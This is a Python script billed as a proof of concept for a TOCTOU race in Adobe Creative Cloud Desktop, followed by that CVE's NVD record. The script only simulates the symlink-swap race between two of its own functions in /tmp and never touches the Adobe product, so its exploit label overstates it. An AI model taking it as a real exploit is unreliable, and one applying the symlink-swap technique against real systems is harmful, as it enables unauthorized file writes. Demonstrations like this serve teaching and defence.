CVE-2025-54271

# CVE-2025-54271 - Adobe Creative Cloud Desktop TOCTOU Race Condition PoC # This PoC demonstrates the concept of exploiting a TOCTOU race condition # to achieve arbitrary file system write via symlink manipulation. import os import sys import time import threading import tempfile import shutil TARGET_DIR = "/tmp/cve_2025_54271_target" MALICIOUS_TARGET = "/tmp/cve_2025_54271_malicious" SYMLINK_PATH = os.path.join(TARGET_DIR, "config_file") def setup_environment(): """Create test directories for the exploit simulation.""" if os.path.exists(TARGET_DIR): shutil.rmtree(TARGET_DIR) if os.path.exists(MALICIOUS_TARGET): shutil.rmtree(MALICIOUS_TARGET) os.makedirs(TARGET_DIR) os.makedirs(MALICIOUS_TARGET) print(f"[*] Created target dir: {TARGET_DIR}") print(f"[*] Created malicious dir: {MALICIOUS_TARGET}") def victim_check_and_use(): """ Simulates the vulnerable application's check-then-use pattern. In the real vulnerability, Creative Cloud Desktop checks a file path and then writes to it. Between check and write, the attacker swaps the legitimate file with a symlink. """ legit_file = os.path.join(TARGET_DIR, "config_file") # Step 1: Time-of-check - verify the file exists and is a regular file if os.path.exists(legit_file) and not os.path.islink(legit_file): print("[CHECK] File verified as legitimate regular file") time.sleep(0.01) # Simulated processing delay (the race window) # Step 2: Time-of-use - write data to the (now potentially swapped) file try: with open(legit_file, 'w') as f: f.write("legitimate_config_data\n") print("[USE] Data written to file") except Exception as e: print(f"[ERROR] Write failed: {e}") def attacker_swap_symlink(stop_event): """ Continuously swaps the legitimate file with a symlink pointing to the attacker's controlled directory. This is the core of the TOCTOU race condition exploit. """ legit_file = os.path.join(TARGET_DIR, "config_file") # Create initial legitimate file with open(legit_file, 'w') as f: f.write("original_legitimate_content\n") while not stop_event.is_set(): try: # Remove the legitimate file and replace with symlink if os.path.exists(legit_file) or os.path.islink(legit_file): os.unlink(legit_file) os.symlink(os.path.join(MALICIOUS_TARGET, "pwned_file"), legit_file) time.sleep(0.005) # Restore the legitimate file for next race attempt if os.path.islink(legit_file): os.unlink(legit_file) with open(legit_file, 'w') as f: f.write("original_legitimate_content\n") time.sleep(0.005) except Exception: pass def run_exploit(): """Main exploit routine.""" print("=" * 60) print("CVE-2025-54271 TOCTOU Race Condition PoC") print("Affected: Adobe Creative Cloud Desktop <= 6.7.0.278") print("=" * 60) setup_environment() stop_event = threading.Event() attacker_thread = threading.Thread(target=attacker_swap_symlink, args=(stop_event,)) attacker_thread.daemon = True attacker_thread.start() print("[*] Attacker thread started, racing against victim operation...") attempts = 0 max_attempts = 1000 while attempts < max_attempts: attempts += 1 # Check if the malicious target file was created (indicates successful race) pwned_file = os.path.join(MALICIOUS_TARGET, "pwned_file") if os.path.exists(pwned_file): print(f"\n[!] RACE CONDITION WON after {attempts} attempts!") print(f"[!] File written to attacker-controlled path: {pwned_file}") with open(pwned_file, 'r') as f: print(f"[!] Content: {f.read().strip()}") stop_event.set() return True # Trigger the victim operation victim_check_and_use() print(f"\n[-] Race not won after {max_attempts} attempts") stop_event.set() return False if __name__ == "__main__": run_exploit()

{"cve": {"id": "CVE-2025-54271", "sourceIdentifier": "[email protected]", "published": "2025-10-15T17:15:59.333", "lastModified": "2025-10-17T15:02:54.237", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Creative Cloud Desktop versions 6.7.0.278 and earlier are affected by a Time-of-check Time-of-use (TOCTOU) Race Condition vulnerability that could lead to arbitrary file system write. A low-privileged attacker could exploit the timing between the check and use of a resource, potentially allowing unauthorized modifications to files. Exploitation of this issue does not require user interaction."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:N", "baseScore": 5.6, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.1, "impactScore": 4.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:creative_cloud:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.8.0.821", "matchCriteriaId": "6958A4E5-79E2-4472-BF6E-74C4447C3A39"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/creative-cloud/apsb25-95.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}